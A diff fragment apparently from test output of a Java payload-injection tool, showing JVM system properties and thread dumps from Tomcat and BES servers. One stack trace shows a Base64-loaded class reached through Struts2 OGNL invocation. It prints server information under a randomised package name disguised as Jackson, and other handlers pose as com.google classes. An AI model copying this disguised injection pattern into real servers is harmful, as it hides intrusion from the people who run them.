at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"RMI TCP Connection(2)-192.168.215.4" #105 daemon [RUNNABLE]
|
||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"LogFileManager.EventManager" #52 daemon [WAITING] on java.lang.Object@147ed5aa
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at com.bes.org.objectweb.howl.log.LogFileManager$EventManager.run(LogFileManager.java:1236)
|
||||
|
||||
"RMI TCP Connection(2)-172.17.0.3" #99 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||
@@ -598,106 +691,21 @@ ThreadStacks:
|
||||
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/725479086.run(Unknown Source)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1137156990.run(Unknown Source)
|
||||
at java.security.AccessController.doPrivileged(Native Method)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"RMI Reaper" #101 [WAITING] on java.lang.ref.ReferenceQueue$Lock@439db8d
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||
at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"AsyncTimeoutThread-8080" #86 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"bes-deployment-scheduled-executor-thread." #90 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@56ae9154
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"LogFileManager.EventManager" #58 daemon [WAITING] on java.lang.Object@4383bb66
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at com.bes.org.objectweb.howl.log.LogFileManager$EventManager.run(LogFileManager.java:1236)
|
||||
|
||||
"RMI RenewClean-[192.168.215.4:6600]" #104 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@712da028
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"jmsra-WorkerThread-2" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"KeepAliveTimer" #66 daemon [TIMED_WAITING] on java.util.TaskQueue@3b02e833
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"httpWorkerThread-1900-2" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@1984fa36
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
||||
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
||||
|
||||
"RetryTimer" #60 daemon [WAITING] on java.util.TaskQueue@47823aeb
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:526)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
|
||||
===========================================
|
||||
|
||||
StackClassNames:
|
||||
Base64ClassLoaderServlet
|
||||
EmptyFilter
|
||||
ServletNameTestFilter
|
||||
UrlMappingTestFilter
|
||||
com.bes.ejb.spark.tcp.threadpool.PreSelector
|
||||
com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl
|
||||
com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl
|
||||
@@ -736,4 +744,4 @@ com.bes.enterprise.webtier.core.DefaultWrapperValve
|
||||
com.bes.enterprise.webtier.valves.ErrorReportValve
|
||||
com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager
|
||||
com.bes.org.objectweb.howl.log.LogFileManager$EventManager
|
||||
com.google.gso.IyIWG.ErrorHandler
|
||||
com.google.gso.kctIl.ErrorGmnwfHandler
|
||||
|
||||
@@ -1,475 +0,0 @@
|
||||
# Generated At 2025-12-08 15:18:17
|
||||
SystemProps:
|
||||
java.vendor: Temurin
|
||||
sun.java.launcher: SUN_STANDARD
|
||||
catalina.base: /usr/local/tomcat
|
||||
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
||||
catalina.useNaming: true
|
||||
os.name: Linux
|
||||
sun.boot.class.path: /opt/java/openjdk/lib/resources.jar:/opt/java/openjdk/lib/rt.jar:/opt/java/openjdk/lib/sunrsasign.jar:/opt/java/openjdk/lib/jsse.jar:/opt/java/openjdk/lib/jce.jar:/opt/java/openjdk/lib/charsets.jar:/opt/java/openjdk/lib/jfr.jar:/opt/java/openjdk/classes
|
||||
java.util.logging.config.file: /usr/local/tomcat/conf/logging.properties
|
||||
org.apache.el.GET_CLASSLOADER_USE_PRIVILEGED: false
|
||||
java.vm.specification.vendor: Oracle Corporation
|
||||
java.runtime.version: 1.8.0_402-b06
|
||||
user.name: root
|
||||
tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-taglib*.jar,log4j-web*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
||||
shared.loader:
|
||||
tomcat.util.buf.StringCache.byte.enabled: true
|
||||
java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory
|
||||
user.language: en
|
||||
sun.boot.library.path: /opt/java/openjdk/lib/aarch64
|
||||
jdk.tls.ephemeralDHKeySize: 2048
|
||||
java.version: 1.8.0_402
|
||||
java.util.logging.manager: org.apache.juli.ClassLoaderLogManager
|
||||
user.timezone: Etc/UTC
|
||||
sun.arch.data.model: 64
|
||||
java.util.concurrent.ForkJoinPool.common.threadFactory: org.apache.catalina.startup.SafeForkJoinWorkerThreadFactory
|
||||
java.endorsed.dirs: /opt/java/openjdk/lib/endorsed
|
||||
sun.cpu.isalist:
|
||||
sun.jnu.encoding: UTF-8
|
||||
file.encoding.pkg: sun.io
|
||||
package.access: sun.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.tomcat.
|
||||
file.separator: /
|
||||
java.specification.name: Java Platform API Specification
|
||||
java.class.version: 52.0
|
||||
user.country: US
|
||||
java.home: /opt/java/openjdk
|
||||
java.vm.info: mixed mode
|
||||
os.version: 6.17.8-orbstack-00308-g8f9c941121b1
|
||||
path.separator: :
|
||||
java.vm.version: 25.402-b06
|
||||
java.protocol.handler.pkgs: org.apache.catalina.webresources
|
||||
java.awt.printerjob: sun.print.PSPrinterJob
|
||||
sun.io.unicode.encoding: UnicodeLittle
|
||||
java.specification.maintenance.version: 5
|
||||
awt.toolkit: sun.awt.X11.XToolkit
|
||||
package.definition: sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.naming.,org.apache.tomcat.
|
||||
java.naming.factory.url.pkgs: org.apache.naming
|
||||
user.home: /root
|
||||
org.apache.catalina.security.SecurityListener.UMASK: 0027
|
||||
java.specification.vendor: Oracle Corporation
|
||||
tomcat.util.scan.StandardJarScanFilter.jarsToSkip: annotations-api.jar,ant-junit*.jar,ant-launcher*.jar,ant*.jar,asm-*.jar,aspectj*.jar,bcel*.jar,biz.aQute.bnd*.jar,bootstrap.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,catalina-ws.jar,catalina.jar,cglib-*.jar,cobertura-*.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-compress*.jar,commons-daemon.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,derby-*.jar,dom4j-*.jar,easymock-*.jar,ecj-*.jar,el-api.jar,geronimo-spec-jaxrpc*.jar,h2*.jar,ha-api-*.jar,hamcrest-*.jar,hibernate*.jar,httpclient*.jar,icu4j-*.jar,jasper-el.jar,jasper.jar,jaspic-api.jar,jaxb-*.jar,jaxen-*.jar,jaxws-rt-*.jar,jdom-*.jar,jetty-*.jar,jmx-tools.jar,jmx.jar,jsp-api.jar,jstl.jar,jta*.jar,junit-*.jar,junit.jar,log4j*.jar,mail*.jar,objenesis-*.jar,oraclepki.jar,org.hamcrest.core_*.jar,org.junit_*.jar,oro-*.jar,servlet-api-*.jar,servlet-api.jar,slf4j*.jar,taglibs-standard-spec-*.jar,tagsoup-*.jar,tomcat-api.jar,tomcat-coyote.jar,tomcat-dbcp.jar,tomcat-i18n-*.jar,tomcat-jdbc.jar,tomcat-jni.jar,tomcat-juli-adapters.jar,tomcat-juli.jar,tomcat-util-scan.jar,tomcat-util.jar,tomcat-websocket.jar,tools.jar,unboundid-ldapsdk-*.jar,websocket-api.jar,wsdl4j*.jar,xercesImpl.jar,xml-apis.jar,xmlParserAPIs-*.jar,xmlParserAPIs.jar,xom-*.jar
|
||||
java.library.path: /usr/local/tomcat/native-jni-lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib
|
||||
java.vendor.url: https://adoptium.net/
|
||||
java.vm.vendor: Temurin
|
||||
common.loader: "${catalina.base}/lib","${catalina.base}/lib/*.jar","${catalina.home}/lib","${catalina.home}/lib/*.jar"
|
||||
java.runtime.name: OpenJDK Runtime Environment
|
||||
sun.java.command: org.apache.catalina.startup.Bootstrap start
|
||||
java.class.path: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
|
||||
java.vm.specification.name: Java Virtual Machine Specification
|
||||
java.vm.specification.version: 1.8
|
||||
catalina.home: /usr/local/tomcat
|
||||
sun.cpu.endian: little
|
||||
sun.os.patch.level: unknown
|
||||
java.io.tmpdir: /usr/local/tomcat/temp
|
||||
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
|
||||
server.loader:
|
||||
os.arch: aarch64
|
||||
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
||||
java.ext.dirs: /opt/java/openjdk/lib/ext:/usr/java/packages/lib/ext
|
||||
user.dir: /usr/local/tomcat
|
||||
line.separator:
|
||||
|
||||
java.vm.name: OpenJDK 64-Bit Server VM
|
||||
ignore.endorsed.dirs:
|
||||
file.encoding: UTF-8
|
||||
java.specification.version: 1.8
|
||||
|
||||
===========================================
|
||||
|
||||
ThreadStacks:
|
||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"http-nio-8080-exec-8" #24 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.lang.Thread.dumpThreads(Native Method)
|
||||
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
||||
at com.fasterxml.jackson.ZsoNQ.ErrorHandler.toString(BasicInfoPrinter.java:26)
|
||||
at java.lang.String.valueOf(String.java:2994)
|
||||
at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:243)
|
||||
at Base64ClassLoaderAction.execute(Base64ClassLoaderAction.java:38)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||
at java.lang.reflect.Method.invoke(Method.java:498)
|
||||
at ognl.OgnlRuntime.invokeMethodInsideSandbox(OgnlRuntime.java:1266)
|
||||
at ognl.OgnlRuntime.invokeMethod(OgnlRuntime.java:1251)
|
||||
at ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1969)
|
||||
at ognl.ObjectMethodAccessor.callMethod(ObjectMethodAccessor.java:68)
|
||||
at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethodWithDebugInfo(XWorkMethodAccessor.java:98)
|
||||
at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethod(XWorkMethodAccessor.java:90)
|
||||
at ognl.OgnlRuntime.callMethod(OgnlRuntime.java:2045)
|
||||
at ognl.ASTMethod.getValueBody(ASTMethod.java:97)
|
||||
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
|
||||
at ognl.SimpleNode.getValue(SimpleNode.java:258)
|
||||
at ognl.Ognl.getValue(Ognl.java:537)
|
||||
at ognl.Ognl.getValue(Ognl.java:501)
|
||||
at com.opensymphony.xwork2.ognl.OgnlUtil$3.execute(OgnlUtil.java:492)
|
||||
at com.opensymphony.xwork2.ognl.OgnlUtil.compileAndExecuteMethod(OgnlUtil.java:544)
|
||||
at com.opensymphony.xwork2.ognl.OgnlUtil.callMethod(OgnlUtil.java:490)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invokeAction(DefaultActionInvocation.java:438)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invokeActionOnly(DefaultActionInvocation.java:293)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:254)
|
||||
at org.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:250)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor.doIntercept(DefaultWorkflowInterceptor.java:179)
|
||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.validator.ValidationInterceptor.doIntercept(ValidationInterceptor.java:263)
|
||||
at org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor.doIntercept(AnnotationValidationInterceptor.java:49)
|
||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor.doIntercept(ConversionErrorInterceptor.java:142)
|
||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:140)
|
||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:140)
|
||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:201)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at org.apache.struts2.interceptor.MultiselectInterceptor.intercept(MultiselectInterceptor.java:67)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at org.apache.struts2.interceptor.DateTextFieldInterceptor.intercept(DateTextFieldInterceptor.java:133)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at org.apache.struts2.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:89)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at org.apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:243)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:101)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:142)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:160)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.PrepareInterceptor.doIntercept(PrepareInterceptor.java:175)
|
||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at org.apache.struts2.interceptor.I18nInterceptor.intercept(I18nInterceptor.java:121)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at org.apache.struts2.interceptor.ServletConfigInterceptor.intercept(ServletConfigInterceptor.java:167)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:228)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:196)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at org.apache.struts2.factory.StrutsActionProxy.execute(StrutsActionProxy.java:48)
|
||||
at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:574)
|
||||
at org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:79)
|
||||
at org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:141)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:181)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156)
|
||||
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168)
|
||||
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)
|
||||
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:483)
|
||||
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130)
|
||||
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93)
|
||||
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:679)
|
||||
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
|
||||
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:346)
|
||||
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:617)
|
||||
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)
|
||||
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:934)
|
||||
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1690)
|
||||
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-8080-exec-6" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"AsyncFileHandlerWriter-1" #12 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@44aea3d6
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:492)
|
||||
at java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:680)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-8080-AsyncTimeout" #29 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1291)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-8080-exec-10" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Catalina-startStop-1" #14 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@259b735f
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
